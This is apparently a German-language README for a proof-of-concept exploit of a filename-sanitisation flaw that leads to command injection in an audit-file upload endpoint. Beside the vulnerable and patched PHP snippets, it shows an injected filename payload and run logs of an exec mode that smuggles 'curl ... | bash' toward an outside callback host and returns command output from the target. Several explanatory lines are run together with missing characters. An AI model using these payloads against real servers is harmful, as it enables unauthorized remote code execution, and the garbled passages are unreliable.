
Proof-of-concept-Exploit für CVE-2026-19679, eine Schwachstelle durch unzureichende Bereinigung von Dateinamen beim Upload von Audit-Dateien, die zu Befehlsinjizierung führt. Enthält differentielle Versionsprüfung und Exec-Modus für die Remote-Ausführung von Befehlen.

Status: BESTÄTIGT in einem 6.7.2-14.el9-Labor (2026-08-20). POST /rest/auditFile mit
tailoringOriginalFilename = "poc;touch${IFS}poc19679;me.xml" lieferte HTTP 200 und
registrierte AuditFile #1000002 — der Dateiname mit Shell-Metazeichen bestand die Validierung
und wurde Ende-zu-Ende gespeichert. Auf 6.9.0 wird dieselbe Anfrage mit
"Invalid tailoring filename." abgelehnt.
Die Upload-Parameter der Audit-Datei (filename, tailoringFilename,
tailoringOriginalFilename) werden mit
() validiert, das nur drei Dinge prüft: nicht leer, kein
(-Gleichheit) und dass die gestagte Datei existiert. Es gibt — , , Backticks, und Leerzeichen passieren unverändert.
PARAM_FILENAMEUtility::validateParams()/basename();$()${IFS}Diese Namen fließen dann in:
rename($tmpTailoringFile, "{$tmpDir}/{$newTailoringFilename}") —
AuditFileLib.php:2307 (es wird eine Datei mit beliebigen Metazeichen im Namen erstellt)exec("{$settings['CommandZIP']} -9Tj $tmpZipFile $newTailoringFilenameEsc"), wobei das nicht maskierte $tmpZipFile vom
filename-Parameter des Clients abgeleitet wird — die nachgelagerte Befehlsinjektion von CVE-2026-19681.Im Labor verifizierte Grenze: Traversal ist nicht Teil der Schwachstelle vor 6.9 — beide
Tailoring-Parameter lehnen / ab (Fehler 146 Invalid syntax for attribute ... bei einem ../-Payload).
Das fehlende Stück ist genau der Zeichensatzfilter, was der CVE-Text mit
"could contribute to a downstream command injection" meint.
AuditFiles::applySCAPTailoringFile():
$filenamePattern = '/^[A-Za-z0-9][A-Za-z0-9._-]{0,254}$/';
$safeTailoringFilename = basename($params['tailoringFilename']);
$safeTailoringOriginalFilename = basename($params['tailoringOriginalFilename']);
if ( !preg_match($filenamePattern, ...) ) {
ErrorHandler::setErrorHandler("Invalid tailoring filename.", RESPONSE_INVALID_DATA);
plus basename() auf beiden Namen und escapeshellarg() auf den Zip-Operanden.
Differenzielle Versionsprüfung — eine Anfrage, gegenteilige Ergebnisse je nach Version:
./poc.py --target https://sc.lab --username analyst --password 'pass'
"Invalid tailoring filename."Betriebshinweise (alle im Labor verifiziert):
/rest/file/upload (Multipart Filedata, context-Formularfeld)context=auditFile führt eine
Inhaltserkennung des Zips durch (Fehler 107 bei einem Dummy-Zip)type=scapLinux|scapWindows, version=1.2, benchmarkName,
dataStreamName19679 ist die Validierungslücke; 19681 ist die Exec-Senke. Derselbe Upload-Ablauf nutzt
beide aus: 19681 platziert Metazeichen im gestagten filename (über das context-Präfix
des Uploads) und löst sie über das nicht maskierte $tmpZipFile aus; 19679 zeigt, dass die
verwandten Parameter dieselbe Zeichenklasse bis zu (und hinein in) dieselbe Befehlszeichenkette akzeptieren.
6.9.0 behebt beide Seiten in einem Commit-Bereich: Zeichensatz + basename + escapeshellarg.
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd whoami
[*] exec mode: callback on 2.2.2.2:43423, staged-name payload 'p;curl${IFS}2.2.2.2:43423|bash;'
[+] authenticated, token 20748583...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:43423|bash;-6LsqIT' tailoring='tailoringFile-gGVNr6'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560505}
[+] command output:
tns
$ python3 cve-2026-19679.py --target https://1.1.1.1 --username user --password user --cmd "uname -a"
[*] exec mode: callback on 2.2.2.2:44077, staged-name payload 'p;curl${IFS}2.2.2.2:44077|bash;'
[+] authenticated, token 20420913...
[*] staging audit zip + tailoring file
[+] staged: zip='p;curl${IFS}2.2.2.2:44077|bash;-zFE1Bb' tailoring='tailoringFile-FmUM7f'
[*] POST /rest/auditFile — tailoring name (19679) + staged filename (19681 exec) in one request
[*] HTTP 403: {"type": "regular", "response": "", "error_code": 106, "error_msg": "Error adding Tailoring file to SCAP zip file.\n", "warnings": [], "timestamp": 1787560738}
[+] command output:
Linux securitycenter 5.14.0-611.5.1.el9_7.x86_64 #1 SMP PREEMPT_DYNAMIC Fri Oct 17 14:16:35 EDT 2025 x86_64 x86_64 x86_64 GNU/Linux